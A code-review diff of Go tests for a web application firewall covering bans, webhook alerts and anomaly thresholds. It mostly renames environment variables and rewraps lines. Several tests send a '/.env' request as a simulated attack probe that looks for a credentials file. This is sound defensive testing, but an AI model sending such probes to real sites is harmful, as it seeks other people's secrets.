|
|
||||||
// Asked about by its address in IPv6 form too.
|
// Asked about by its address in IPv6 form too.
|
||||||
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
|
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
|
||||||
@@ -302,7 +376,11 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
|||||||
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
|
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
|
||||||
got.Bans[0].Reason != "requests per minute over the limit of 2" ||
|
got.Bans[0].Reason != "requests per minute over the limit of 2" ||
|
||||||
got.Bans[0].Notes.Count != 3 {
|
got.Bans[0].Notes.Count != 3 {
|
||||||
t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
|
t.Errorf(
|
||||||
|
"%s: bans %+v, want the one for the broken limit",
|
||||||
|
addr,
|
||||||
|
got.Bans,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -310,7 +388,9 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
|||||||
// known.
|
// known.
|
||||||
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
|
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
|
||||||
http.StatusOK)
|
http.StatusOK)
|
||||||
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
|
if string(
|
||||||
|
got.body,
|
||||||
|
) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
|
||||||
t.Errorf("an unknown client is answered\n%s", got.body)
|
t.Errorf("an unknown client is answered\n%s", got.body)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -329,7 +409,13 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
for _, e := range adminEndpoints() {
|
for _, e := range adminEndpoints() {
|
||||||
s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
|
s.ownEndpointRequest(
|
||||||
|
"",
|
||||||
|
e.method,
|
||||||
|
e.path,
|
||||||
|
e.body,
|
||||||
|
http.StatusUnauthorized,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
||||||
@@ -337,12 +423,12 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// adminEndpoint is a request to an endpoint SWW_WAF_ADMIN_TOKEN opens.
|
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
|
||||||
type adminEndpoint struct {
|
type adminEndpoint struct {
|
||||||
method, path, body string
|
method, path, body string
|
||||||
}
|
}
|
||||||
|
|
||||||
// adminEndpoints returns a request to each endpoint SWW_WAF_ADMIN_TOKEN
|
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
|
||||||
// opens: listing the bans, banning otherClient for an hour, lifting the
|
// opens: listing the bans, banning otherClient for an hour, lifting the
|
||||||
// bans on otherClient, and asking about otherClient.
|
// bans on otherClient, and asking about otherClient.
|
||||||
func adminEndpoints() []adminEndpoint {
|
func adminEndpoints() []adminEndpoint {
|
||||||
|
|||||||
+87
-22
@@ -15,8 +15,8 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
|
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
||||||
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
|
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
||||||
// alertInstance is the instance every alert of these tests gives.
|
// alertInstance is the instance every alert of these tests gives.
|
||||||
alertInstance = "fsn1app1/blog"
|
alertInstance = "fsn1app1/blog"
|
||||||
)
|
)
|
||||||
@@ -46,7 +46,10 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
|
|||||||
}, requestlog.FormatTime(start.Add(time.Hour))))
|
}, requestlog.FormatTime(start.Add(time.Hour))))
|
||||||
|
|
||||||
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
|
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
|
||||||
t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
|
t.Errorf(
|
||||||
|
"the alert's notes are %+v, want those of the broken limit",
|
||||||
|
ban.Notes,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -62,7 +65,12 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
|||||||
|
|
||||||
// The probe bans the client for seven days, and its next request makes
|
// The probe bans the client for seven days, and its next request makes
|
||||||
// the ban permanent. The request after that changes nothing.
|
// the ban permanent. The request after that changes nothing.
|
||||||
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
s.request(
|
||||||
|
client,
|
||||||
|
"/.env",
|
||||||
|
http.StatusForbidden,
|
||||||
|
requestlog.ActionTemporarilyBanned,
|
||||||
|
)
|
||||||
|
|
||||||
attackBan := server.Ledger.Bans(netblock)[0]
|
attackBan := server.Ledger.Bans(netblock)[0]
|
||||||
|
|
||||||
@@ -83,15 +91,27 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
|||||||
|
|
||||||
otherBans := server.Ledger.Bans(other)
|
otherBans := server.Ledger.Bans(other)
|
||||||
|
|
||||||
wantAlerts(t, queue,
|
wantAlerts(
|
||||||
|
t,
|
||||||
|
queue,
|
||||||
attackAlert(alerts.EventBan, start, client, attackBan,
|
attackAlert(alerts.EventBan, start, client, attackBan,
|
||||||
requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
||||||
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
|
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
|
||||||
permanentBan, "permanent"),
|
permanentBan, "permanent"),
|
||||||
attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
|
attackAlert(
|
||||||
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
|
alerts.EventBan,
|
||||||
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
|
start.Add(time.Minute),
|
||||||
otherClient, otherBans[1], "permanent"),
|
otherClient,
|
||||||
|
otherBans[0],
|
||||||
|
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
|
||||||
|
),
|
||||||
|
attackAlert(
|
||||||
|
alerts.EventPermanentBan,
|
||||||
|
start.Add(time.Minute+7*24*time.Hour),
|
||||||
|
otherClient,
|
||||||
|
otherBans[1],
|
||||||
|
"permanent",
|
||||||
|
),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -108,7 +128,11 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
// A ban for a clear sign of attack, which a request under it would make
|
// A ban for a clear sign of attack, which a request under it would make
|
||||||
// permanent.
|
// permanent.
|
||||||
group := netip.MustParsePrefix(ipv6Group)
|
group := netip.MustParsePrefix(ipv6Group)
|
||||||
attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
|
attackBan, _ := server.Ledger.BanForAttack(
|
||||||
|
group,
|
||||||
|
start,
|
||||||
|
bans.Notes{RuleID: "probe"},
|
||||||
|
)
|
||||||
|
|
||||||
// The third request breaks the limit, and so does the fourth, within the
|
// The third request breaks the limit, and so does the fourth, within the
|
||||||
// cooldown, which raises nothing. The probe is a clear sign of attack.
|
// cooldown, which raises nothing. The probe is a clear sign of attack.
|
||||||
@@ -123,8 +147,12 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
held := server.Ledger.Snapshot()
|
held := server.Ledger.Snapshot()
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
|
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
|
||||||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
|
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
|
||||||
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
|
t.Errorf(
|
||||||
"for the attack alone, as it was", held, line.BanExpires)
|
"the ledger holds %+v, and the log line gives %s, want the ban "+
|
||||||
|
"for the attack alone, as it was",
|
||||||
|
held,
|
||||||
|
line.BanExpires,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
@@ -138,21 +166,35 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
|
|
||||||
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
|
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
|
||||||
attackNotes.Request.Path != "/.env" {
|
attackNotes.Request.Path != "/.env" {
|
||||||
t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
|
t.Errorf(
|
||||||
"of the probe", limitNotes, attackNotes)
|
"the notes are %+v and %+v, want those of the broken limit and "+
|
||||||
|
"of the probe",
|
||||||
|
limitNotes,
|
||||||
|
attackNotes,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Each alert is the one enforce mode would have raised, with mode
|
// Each alert is the one enforce mode would have raised, with mode
|
||||||
// observe in its detail.
|
// observe in its detail.
|
||||||
want := []alerts.Alert{
|
want := []alerts.Alert{
|
||||||
banAlert(alerts.EventBan, start, client, bans.Ban{
|
banAlert(alerts.EventBan, start, client, bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
|
Netblock: netip.MustParsePrefix(
|
||||||
|
client + "/32",
|
||||||
|
), Cause: bans.CauseLimit,
|
||||||
Reason: "requests per minute over the limit of 2", Notes: limitNotes,
|
Reason: "requests per minute over the limit of 2", Notes: limitNotes,
|
||||||
}, requestlog.FormatTime(start.Add(time.Hour))),
|
}, requestlog.FormatTime(start.Add(time.Hour))),
|
||||||
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
|
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
|
Netblock: netip.MustParsePrefix(
|
||||||
|
otherClient + "/32",
|
||||||
|
), Notes: attackNotes,
|
||||||
}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
|
||||||
attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
|
attackAlert(
|
||||||
|
alerts.EventPermanentBan,
|
||||||
|
start,
|
||||||
|
ipv6Client,
|
||||||
|
attackBan,
|
||||||
|
permanent,
|
||||||
|
),
|
||||||
}
|
}
|
||||||
for _, alert := range want {
|
for _, alert := range want {
|
||||||
alert.Detail["mode"] = observe
|
alert.Detail["mode"] = observe
|
||||||
@@ -180,7 +222,12 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
|||||||
// The other client's first probe raises the second. Its second probe is
|
// The other client's first probe raises the second. Its second probe is
|
||||||
// within the cooldown.
|
// within the cooldown.
|
||||||
for range 2 {
|
for range 2 {
|
||||||
s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
|
s.request(
|
||||||
|
otherClient,
|
||||||
|
"/.env",
|
||||||
|
http.StatusOK,
|
||||||
|
requestlog.ActionForward,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The IPv6 client's third request breaks the limit past the two alerts
|
// The IPv6 client's third request breaks the limit past the two alerts
|
||||||
@@ -206,7 +253,11 @@ func startWithAlerts(
|
|||||||
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
) (*sender, *clock, *waf.Server, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
|
return startAppWithAlerts(
|
||||||
|
t,
|
||||||
|
func(http.ResponseWriter, *http.Request) {},
|
||||||
|
env,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// startAppWithAlerts is startWithAlerts in front of the app handler.
|
// startAppWithAlerts is startWithAlerts in front of the app handler.
|
||||||
@@ -224,7 +275,13 @@ func startAppWithAlerts(
|
|||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
|
addr, out, server, queue := startProxyWithAlerts(
|
||||||
|
t,
|
||||||
|
app.URL,
|
||||||
|
"",
|
||||||
|
clk.Now,
|
||||||
|
settings,
|
||||||
|
)
|
||||||
|
|
||||||
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
|
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
|
||||||
|
|
||||||
@@ -235,7 +292,11 @@ func startAppWithAlerts(
|
|||||||
// the time raised, for ban, with its netblock, cause, reason and notes,
|
// the time raised, for ban, with its netblock, cause, reason and notes,
|
||||||
// which ends at expires, as the log line gives it.
|
// which ends at expires, as the log line gives it.
|
||||||
func banAlert(
|
func banAlert(
|
||||||
event string, raised time.Time, client string, ban bans.Ban, expires string,
|
event string,
|
||||||
|
raised time.Time,
|
||||||
|
client string,
|
||||||
|
ban bans.Ban,
|
||||||
|
expires string,
|
||||||
) alerts.Alert {
|
) alerts.Alert {
|
||||||
return alerts.Alert{
|
return alerts.Alert{
|
||||||
Instance: alertInstance,
|
Instance: alertInstance,
|
||||||
@@ -254,7 +315,11 @@ func banAlert(
|
|||||||
// attackAlert is banAlert for a ban for the probe rule of testRules, with
|
// attackAlert is banAlert for a ban for the probe rule of testRules, with
|
||||||
// the netblock and the notes of ban.
|
// the netblock and the notes of ban.
|
||||||
func attackAlert(
|
func attackAlert(
|
||||||
event string, raised time.Time, client string, ban bans.Ban, expires string,
|
event string,
|
||||||
|
raised time.Time,
|
||||||
|
client string,
|
||||||
|
ban bans.Ban,
|
||||||
|
expires string,
|
||||||
) alerts.Alert {
|
) alerts.Alert {
|
||||||
return banAlert(event, raised, client, bans.Ban{
|
return banAlert(event, raised, client, bans.Ban{
|
||||||
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
|
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
|
||||||
|
|||||||
@@ -24,7 +24,10 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
|
|||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
t.Errorf("counting the request did work, with every threshold off: %v", r)
|
t.Errorf(
|
||||||
|
"counting the request did work, with every threshold off: %v",
|
||||||
|
r,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
|
||||||
|
|||||||
@@ -21,11 +21,11 @@ import (
|
|||||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||||
// count.
|
// count.
|
||||||
const (
|
const (
|
||||||
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
||||||
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
anomalyNet = "SWW_ANOMALY_NET_"
|
||||||
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
anomalyASN = "SWW_ANOMALY_ASN_"
|
||||||
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
||||||
anomalyWatch = "SWW_WAF_WATCH_"
|
anomalyWatch = "SWW_WATCH_"
|
||||||
|
|
||||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||||
@@ -35,9 +35,9 @@ const (
|
|||||||
|
|
||||||
// The other anomaly settings.
|
// The other anomaly settings.
|
||||||
const (
|
const (
|
||||||
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
||||||
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
||||||
watchNets = "SWW_WAF_WATCH_NETS"
|
watchNets = "SWW_WATCH_NETS"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -51,7 +51,9 @@ const (
|
|||||||
hour = "hour"
|
hour = "hour"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
|
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, scope := range []struct {
|
for _, scope := range []struct {
|
||||||
@@ -95,9 +97,8 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
|
|||||||
t.Run(setting, func(t *testing.T) {
|
t.Run(setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
env := map[string]string{setting: value, watchNets: office}
|
||||||
setting: value, watchNets: office,
|
s, clk, server, queue := startWithLookupsAndClock(t, env)
|
||||||
})
|
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
// The third upload takes the count over the threshold, and the
|
// The third upload takes the count over the threshold, and the
|
||||||
@@ -156,7 +157,10 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
|
|||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
|
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
|
||||||
waiting[1].SuppressedRepeats != 1 {
|
waiting[1].SuppressedRepeats != 1 {
|
||||||
t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
|
t.Errorf(
|
||||||
|
"alerts wait %+v, want the first and another, with 1 repeat",
|
||||||
|
waiting,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -164,9 +168,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
|
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
||||||
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||||
denied = "192.0.2.20" // in SWW_WAF_DENY_NETS
|
denied = "192.0.2.20" // in SWW_DENY_NETS
|
||||||
)
|
)
|
||||||
|
|
||||||
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||||
@@ -201,7 +205,10 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
|||||||
got = append(got, alert.Client.String())
|
got = append(got, alert.Client.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
|
if want := []string{allowed, exempt, client, denied}; !slices.Equal(
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
) {
|
||||||
t.Errorf("alerts for the clients %v, want %v", got, want)
|
t.Errorf("alerts for the clients %v, want %v", got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -210,7 +217,10 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// With every threshold off, nothing is counted.
|
// With every threshold off, nothing is counted.
|
||||||
s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
|
s, server, queue := startWithLookups(
|
||||||
|
t,
|
||||||
|
map[string]string{watchNets: office},
|
||||||
|
)
|
||||||
|
|
||||||
for range 5 {
|
for range 5 {
|
||||||
s.uploadFrom(client)
|
s.uploadFrom(client)
|
||||||
@@ -306,7 +316,10 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
|
|||||||
got[counter.ASN] = counter.Minute.Current
|
got[counter.ASN] = counter.Minute.Current
|
||||||
}
|
}
|
||||||
|
|
||||||
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
|
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
) {
|
||||||
t.Errorf("requests by AS number %v, want %v", got, want)
|
t.Errorf("requests by AS number %v, want %v", got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -324,7 +337,9 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
release()
|
release()
|
||||||
waitUntil(func() bool {
|
waitUntil(func() bool {
|
||||||
_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
|
_, kept := server.Load().GeoJS.Kept(
|
||||||
|
netip.MustParsePrefix(fromDE + "/32"),
|
||||||
|
)
|
||||||
|
|
||||||
return kept
|
return kept
|
||||||
})
|
})
|
||||||
@@ -342,7 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
|||||||
// number it gives.
|
// number it gives.
|
||||||
s := &sender{t: t, addr: addr, out: out}
|
s := &sender{t: t, addr: addr, out: out}
|
||||||
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
|
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
|
||||||
t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
|
t.Errorf(
|
||||||
|
"log line has AS number %q, want none: the request waited",
|
||||||
|
line.ASN,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []anomaly.Counter{{
|
want := []anomaly.Counter{{
|
||||||
@@ -357,10 +375,15 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
|||||||
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
s, _, server, _ := startAppWithAlerts(
|
||||||
anomalyWatch + requestsPerMinute: aLot,
|
t,
|
||||||
watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
|
readAndAnswer,
|
||||||
})
|
map[string]string{
|
||||||
|
anomalyWatch + requestsPerMinute: aLot,
|
||||||
|
watchNets: office + ",wide=203.0.0.0/16" +
|
||||||
|
",other=198.51.100.0/25",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
// client is in office and in wide.
|
// client is in office and in wide.
|
||||||
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
|
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
|
||||||
@@ -372,7 +395,10 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
|||||||
got[counter.Name] = counter.Minute.Current
|
got[counter.Name] = counter.Minute.Current
|
||||||
}
|
}
|
||||||
|
|
||||||
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
|
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
) {
|
||||||
t.Errorf("requests by named netblock %v, want %v", got, want)
|
t.Errorf("requests by named netblock %v, want %v", got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Loaded 100 of 154 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user